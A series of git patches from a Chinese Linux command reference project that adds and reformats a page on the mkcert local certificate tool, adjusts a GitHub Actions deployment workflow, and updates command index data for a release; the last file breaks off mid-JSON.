**CPU列**：该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况，我们知道CPU可被用于执行进程、处理中断，也可处于空闲状态(空闲状态分两种，一种是活动进程等待磁盘IO导致CPU空闲，另一种是完全空闲) - sys、usr字段指示CPU被用于处理进程时，进程在内核态、用户态所占CPU的时间比例 @@ -70,7 +69,6 @@ swin、swout字段：换入和换出内存页数 - XXXi 字段指示各层或活动网口收包数目 - XXXo 字段指示各层或活动网口发包数目 - ## atop日志 每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢？ @@ -96,4 +94,3 @@ swin、swout字段：换入和换出内存页数 ## 相关资料 - [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) - diff --git a/command/mkcert.md b/command/mkcert.md new file mode 100644 index 00000000000..a074e36da22 --- /dev/null +++ b/command/mkcert.md @@ -0,0 +1,218 @@ +# mkcert + +用来生成自签证书的工具。 + +## 示例 + +`mkcert` 是 GO 编写的，一个简单的**零配置**的用来生成自签证书的工具。 + +下面给一个简单的示例，在本地生成自签证书，并使用让 nc 使用生成的证书。 + +```zsh +~ ·········································································································································  10:46:25 +❯ mkcert -install +The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍 +~ ·········································································································································  10:46:34 +❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 + +Created a new certificate valid for the following names 📜 - "example.com" + - "*.example.com" + - "example.test" + - "localhost" + - "127.0.0.1" + - "::1" + +Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️ + +The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅ +It will expire on 30 January 2025 🗓 + +~ ·········································································································································  10:47:37 +❯ ls +公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar +模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src +~ ·········································································································································  10:47:55 +❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem +Ncat: Version 7.92 ( https://nmap.org/ncat ) +Ncat: Listening on :::1589 +Ncat: Listening on 0.0.0.0:1589 +Ncat: Connection from 127.0.0.1. +Ncat: Connection from 127.0.0.1:39156. +Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0) +``` + +`mkcert` 自动生成并安装一个本地 CA 到 root stores，并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器，不过，这取决于你。 + +## 安装 + +> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。 + +### macOS + +```zsh +brew install mkcert +brew install nss # 如果用 Firefox 的话 +``` + +### Linux + +在 Linux 上，首先要安装 `certutil` + +```zsh +sudo apt install libnss3-tools + -or- +sudo yum install nss-tools + -or- +sudo pacman -S nss + -or- +sudo zypper install mozilla-nss-tools +``` + +然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 + +```zsh +brew install mkcert +``` + +或者从源码构建（要求 Go 1.13+） + +```zsh +git clone https://github.com/FiloSottile/mkcert && cd mkcert +go build -ldflags "-X main.Version=$(git describe --tags)" +``` + +又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +```zsh +curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +chmod +x mkcert-v*-linux-amd64 +sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +``` + +对于 Arch Linux 用户（比如我），[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 + +```zsh +sudo pacman -S mkcert +``` + +### Windows + +使用 [Chocolatey](https://chocolatey.org/) + +```zsh +choco install mkcert +``` + +或者使用 Scoop + +```zsh +scoop bucket add extras +scoop install mkcert +``` + +或者从源码构建（要求 Go 1.10+） ，或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +如果遇到权限问题，请使用管理员运行 `mkcert` + +## 支持的 root stores + +`mkcert` 支持以下 root stores： + +- macOS system store + +- Windows system store + +- Linux 发行版提供 + + - `update-ca-trust` （Fedora，RHEL，CentOS）或者 + + - `update-ca-certificates` （Ubuntu，Debian，OpenSUSE，SLES）或者 + + - `trust` （Arch） + +- Firefox （仅 macOS 和 Linux） + +- Chrome 和 Chromium + +- Java（当 `JAVA_HOME` 被设置时） + +为了把 local root CA 装到这些 root stores 中，你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项："system","java" 和 "nss"（包括了 Firefox）。 + +## 高级 topics + +--- + +### 高级选项 + +```zsh + -cert-file FILE, -key-file FILE, -p12-file FILE + 自定义输出路径. + + -client + 生成供客户端认证使用的证书. + + -ecdsa + 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 来生成证书. + + -pkcs12 + 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, + 包含 cert 和 key for legacy applications. + + -csr CSR + 生成一个给予 CSR（证书签名申请） 的证书。 + 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ +``` + +[SSL 证书 什么是CSR？-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) + +> **请注意！** 你必须把这些选项放在域名列表之前。 + +### 例如 + +```zsh +mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com +``` + +### S/MIME （邮件安全证书） + +用下面这种方式 `mkcert` 会生成一个 S/MIME 证书： + +```zsh +mkcert filippo@example.com +``` + +### 移动设备 + +对于要让移动设备信任证书的情况，你得安装 root CA。就是 `rootCA.pem` 这个文件，可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。 + +在 iOS 上，你也可以使用 AirDrop，把 CA 邮件发给你自己，或者通过一个 HTTP server 提供它。在打开它之后，你需要  [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。 + +对于 Android ，你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。 + +### 用 Node.js 来使用这个 root + +Node 不使用 system root store，所以它不会自动接受 `mkcert` 证书。相反，你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 + +```zsh +export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" +``` + +### 改变 CA 文件的位置 + +CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置，因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。 + +如果你想要管理单独的 CA 们，你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。 + +### 在其它系统上安装 CA + +安装 trust store 不需要 CA key（只要 CA），所以你可以导出 CA，并且使用 `mkcert` 来安装到其它机器上。 + +- 找到 `rootCA.pem` 文件，可以用 `mkcert -CAROOT` 找到对应目录。 + +- 把它 copy 到别的机器上。 + +- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 + +- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`，其它发行版可以用自带的命令手动添加来信任 CA) + +请千万记住 `mkcert` 是用于开发目的的，不建议用于生产，所以它不应该被用到用户终端上，并且你不应该导出或者共享 `rootCA-key.pem` 。 From b562a8f9cffbe56315cf992081daac46851d3387 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 10:27:33 +0800 Subject: [PATCH 053/570] doc: Update `mkcert.md` (#446). --- command/mkcert.md | 100 +++++++++++++++++++--------------------------- 1 file changed, 40 insertions(+), 60 deletions(-) diff --git a/command/mkcert.md b/command/mkcert.md index a074e36da22..21901b22c1a 100644 --- a/command/mkcert.md +++ b/command/mkcert.md @@ -1,6 +1,7 @@ -# mkcert +mkcert +=== -用来生成自签证书的工具。 +用来生成自签证书的工具 ## 示例 @@ -49,65 +50,65 @@ Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason ### macOS -```zsh -brew install mkcert -brew install nss # 如果用 Firefox 的话 +```bash +$ brew install mkcert +$ brew install nss # 如果用 Firefox 的话 ``` ### Linux 在 Linux 上，首先要安装 `certutil` -```zsh -sudo apt install libnss3-tools - -or- -sudo yum install nss-tools - -or- -sudo pacman -S nss - -or- -sudo zypper install mozilla-nss-tools +```bash +$ sudo apt install libnss3-tools +# -or- +$ sudo yum install nss-tools +# -or- +$ sudo pacman -S nss +# -or- +$ sudo zypper install mozilla-nss-tools ``` 然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 -```zsh -brew install mkcert +```bash +$ brew install mkcert ``` 或者从源码构建（要求 Go 1.13+） -```zsh +```bash git clone https://github.com/FiloSottile/mkcert && cd mkcert go build -ldflags "-X main.Version=$(git describe --tags)" ``` 又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 -```zsh -curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" -chmod +x mkcert-v*-linux-amd64 -sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +```bash +$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +$ chmod +x mkcert-v*-linux-amd64 +$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert ``` 对于 Arch Linux 用户（比如我），[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 -```zsh -sudo pacman -S mkcert +```bash +$ sudo pacman -S mkcert ``` ### Windows 使用 [Chocolatey](https://chocolatey.org/) -```zsh -choco install mkcert +```bash +$ choco install mkcert ``` 或者使用 Scoop -```zsh -scoop bucket add extras -scoop install mkcert +```bash +$ scoop bucket add extras +$ scoop install mkcert ``` 或者从源码构建（要求 Go 1.10+） ，或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 @@ -119,48 +120,30 @@ scoop install mkcert `mkcert` 支持以下 root stores： - macOS system store - - Windows system store - - Linux 发行版提供 - - `update-ca-trust` （Fedora，RHEL，CentOS）或者 - - `update-ca-certificates` （Ubuntu，Debian，OpenSUSE，SLES）或者 - - `trust` （Arch） - - Firefox （仅 macOS 和 Linux） - - Chrome 和 Chromium - - Java（当 `JAVA_HOME` 被设置时） 为了把 local root CA 装到这些 root stores 中，你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项："system","java" 和 "nss"（包括了 Firefox）。 ## 高级 topics ---- - ### 高级选项 -```zsh - -cert-file FILE, -key-file FILE, -p12-file FILE - 自定义输出路径. - - -client - 生成供客户端认证使用的证书. - - -ecdsa - 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 来生成证书. - - -pkcs12 - 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, - 包含 cert 和 key for legacy applications. - - -csr CSR - 生成一个给予 CSR（证书签名申请） 的证书。 - 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ +```bash +-cert-file FILE, -key-file FILE, -p12-file FILE + # 自定义输出路径. +-client # 生成供客户端认证使用的证书. +-ecdsa # 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 来生成证书. +-pkcs12 # 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, + # 包含 cert 和 key for legacy applications. +-csr CSR # 生成一个给予 CSR（证书签名申请） 的证书。 + # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ ``` [SSL 证书 什么是CSR？-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) @@ -169,7 +152,7 @@ scoop install mkcert ### 例如 -```zsh +```bash mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com ``` @@ -177,7 +160,7 @@ mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com 用下面这种方式 `mkcert` 会生成一个 S/MIME 证书： -```zsh +```bash mkcert filippo@example.com ``` @@ -193,7 +176,7 @@ mkcert filippo@example.com Node 不使用 system root store，所以它不会自动接受 `mkcert` 证书。相反，你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 -```zsh +```bash export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" ``` @@ -208,11 +191,8 @@ CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般 安装 trust store 不需要 CA key（只要 CA），所以你可以导出 CA，并且使用 `mkcert` 来安装到其它机器上。 - 找到 `rootCA.pem` 文件，可以用 `mkcert -CAROOT` 找到对应目录。 - - 把它 copy 到别的机器上。 - - 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 - - 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`，其它发行版可以用自带的命令手动添加来信任 CA) 请千万记住 `mkcert` 是用于开发目的的，不建议用于生产，所以它不应该被用到用户终端上，并且你不应该导出或者共享 `rootCA-key.pem` 。 From 7263f1a8bc79492153c8863c09fcd73c9a77b4b1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 12:04:25 +0800 Subject: [PATCH 054/570] chore: update workflows config. --- .github/workflows/ci.yml | 274 +++++++++++++++++++-------------------- 1 file changed, 137 insertions(+), 137 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c6d7c48564c..96960c8266d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,141 +6,141 @@ on: jobs: build-deploy: - runs-on: ubuntu-20.04 + runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 - - uses: actions/setup-node@v3 - with: - node-version: 16 - - - name: Generate Contributors Images - uses: jaywcjlove/github-action-contributors@main - with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - avatarSize: 42 - - - name: Build Linux Command - run: | - npm install - npm run dash - cp CONTRIBUTORS.svg .deploy - rm -rf .deploy/linux-command.docset - - - name: Create Tag - id: create_tag - uses: jaywcjlove/create-tag-action@v1.3.6 - with: - package-path: ./package.json - - - name: Get Tag Version - id: tag_version - uses: jaywcjlove/changelog-generator@v1.5.3 - - - name: Update Dash Feed - run: | - echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml - - - name: Deploy - uses: peaceiris/actions-gh-pages@v3 - with: - commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' - github_token: ${{ secrets.GITHUB_TOKEN }} - publish_dir: ./.deploy - user_name: github-actions[bot] - user_email: github-actions[bot]@users.noreply.github.com - - - name: Generate Changelog - id: changelog - uses: jaywcjlove/changelog-generator@v1.5.3 - with: - filter-author: (小弟调调™) - filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) - - - name: Create Release - uses: ncipollo/release-action@v1 - if: steps.create_tag.outputs.successful - with: - artifacts: '.deploy/linux-command.docset.tgz' - token: ${{ secrets.GITHUB_TOKEN }} - name: ${{ steps.create_tag.outputs.version }} - tag: ${{ steps.create_tag.outputs.version }} - body: | - [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) - - ```bash - npm i linux-command@${{steps.create_tag.outputs.versionNumber}} - ``` - - ${{ steps.changelog.outputs.compareurl }} - - ${{ steps.changelog.outputs.changelog }} - - - Document linux-command@${{ steps.changelog.outputs.tag }}: - https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html - - - ## Docker - - [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) - - 轻松通过 `docker` 部署 `linux-command` 网站。 - - ```bash - docker pull wcjiang/linux-command - ``` - - ```bash - docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest - # Or - docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest - ``` - - 在浏览器中访问以下 URL - - ```bash - http://localhost:9665/ - ``` - - - name: Push Npm - run: | - npm install @jsdevtools/npm-publish -g - npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - # Create Docker Image - - name: Docker login - run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - - - name: Build linux-command image - run: | - rm -rf .deploy/linux-command.docset.tgz - docker image build -t linux-command . - - - name: Tags & Push image(latest) - run: | - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest - - - name: Tags & Push image - if: steps.create_tag.outputs.successful - run: | - echo "outputs.tag - ${{ steps.changelog.outputs.version }}" - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - - # Create Docker Image in Github - - name: Login to GitHub registry - run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - - - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . - - - name: Publish to GitHub registry - run: docker push ghcr.io/jaywcjlove/linux-command:latest - - - name: Tag docker image (beta) and publish to GitHub registry - if: steps.create_tag.outputs.successful - run: | - echo "version: v${{ steps.changelog.outputs.version }}" - docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + - uses: actions/checkout@v3 + - uses: actions/setup-node@v3 + with: + node-version: 16 + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + with: + filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + avatarSize: 42 + + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + rm -rf .deploy/linux-command.docset + + - name: Create Tag + id: create_tag + uses: jaywcjlove/create-tag-action@main + with: + package-path: ./package.json + + - name: Get Tag Version + id: tag_version + uses: jaywcjlove/changelog-generator@main + + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + + - name: Deploy + uses: peaceiris/actions-gh-pages@v3 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + + - name: Generate Changelog + id: changelog + uses: jaywcjlove/changelog-generator@main + with: + filter-author: (小弟调调™) + filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) + + - name: Create Release + uses: ncipollo/release-action@v1 + if: steps.create_tag.outputs.successful + with: + artifacts: '.deploy/linux-command.docset.tgz' + token: ${{ secrets.GITHUB_TOKEN }} + name: ${{ steps.create_tag.outputs.version }} + tag: ${{ steps.create_tag.outputs.version }} + body: | + [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) + + ```bash + npm i linux-command@${{steps.create_tag.outputs.versionNumber}} + ``` + + ${{ steps.changelog.outputs.compareurl }} + + ${{ steps.changelog.outputs.changelog }} + + + Document linux-command@${{ steps.changelog.outputs.tag }}: + https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + + ## Docker + + [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + + 轻松通过 `docker` 部署 `linux-command` 网站。 + + ```bash + docker pull wcjiang/linux-command + ``` + + ```bash + docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest + # Or + docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest + ``` + + 在浏览器中访问以下 URL + + ```bash + http://localhost:9665/ + ``` + + - name: Push Npm + run: | + npm install @jsdevtools/npm-publish -g + npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + + # Create Docker Image + - name: Docker login + run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + - name: Build linux-command image + run: | + rm -rf .deploy/linux-command.docset.tgz + docker image build -t linux-command . + + - name: Tags & Push image(latest) + run: | + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + - name: Tags & Push image + if: steps.create_tag.outputs.successful + run: | + echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # Create Docker Image in Github + - name: Login to GitHub registry + run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + - name: Build docker image + run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + - name: Publish to GitHub registry + run: docker push ghcr.io/jaywcjlove/linux-command:latest + + - name: Tag docker image (beta) and publish to GitHub registry + if: steps.create_tag.outputs.successful + run: | + echo "version: v${{ steps.changelog.outputs.version }}" + docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file From e2b474d4728577802406a526c2bfacd7c4babf3f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 12:17:55 +0800 Subject: [PATCH 055/570] released v1.13.0 --- dist/data.json | 21 ++++++++++++++++++--- dist/data.min.json | 2 +- package.json | 2 +- 3 files changed, 20 insertions(+), 5 deletions(-) diff --git a/dist/data.json b/dist/data.json index 12c1d870beb..3f4d76a45a4 100644 --- a/dist/data.json +++ b/dist/data.json @@ -202,7 +202,7 @@ "bunzip2": { "n": "bunzip2", "p": "/bunzip2", - "d": "创一个bz2文件压缩包" + "d": "可解压缩.bz2格式的压缩文件。 " }, "bye": { "n": "bye", @@ -212,7 +212,7 @@ "bzcat": { "n": "bzcat", "p": "/bzcat", - "d": "解压缩指定的.bz2文件" + "d": "不解压，直接查看指定的.bz2文件" }, "bzcmp": { "n": "bzcmp", @@ -797,7 +797,7 @@ "fsck": { "n": "fsck", "p": "/fsck", - "d": "检查并且试图修复文件系统中的错误" + "d": "fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误" }, "ftp": { "n": "ftp", @@ -924,6 +924,16 @@ "p": "/grub", "d": "多重引导程序grub的命令行shell工具" }, + "grub2-mkconfig": { + "n": "grub2-mkconfig", + "p": "/grub2-mkconfig", + "d": "生成 grub.cfg 配置文件。" + }, + "grub2-set-default": { + "n": "grub2-set-default", + "p": "/grub2-set-default", + "d": "设置系统默认的启动内核" + }, "gunzip": { "n": "gunzip", "p": "/gunzip", @@ -1519,6 +1529,11 @@ "p": "/mkbootdisk", "d": "可建立目前系统的启动盘" }, + "mkcert": { + "n": "mkcert", + "p": "/mkcert", + "d": "用来生成自签证书的工具" + }, "mkdir": { "n": "mkdir", "p": "/mkdir", diff --git a/dist/data.min.json b/dist/data.min.json index cf6329a9057..db1defc37d9 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或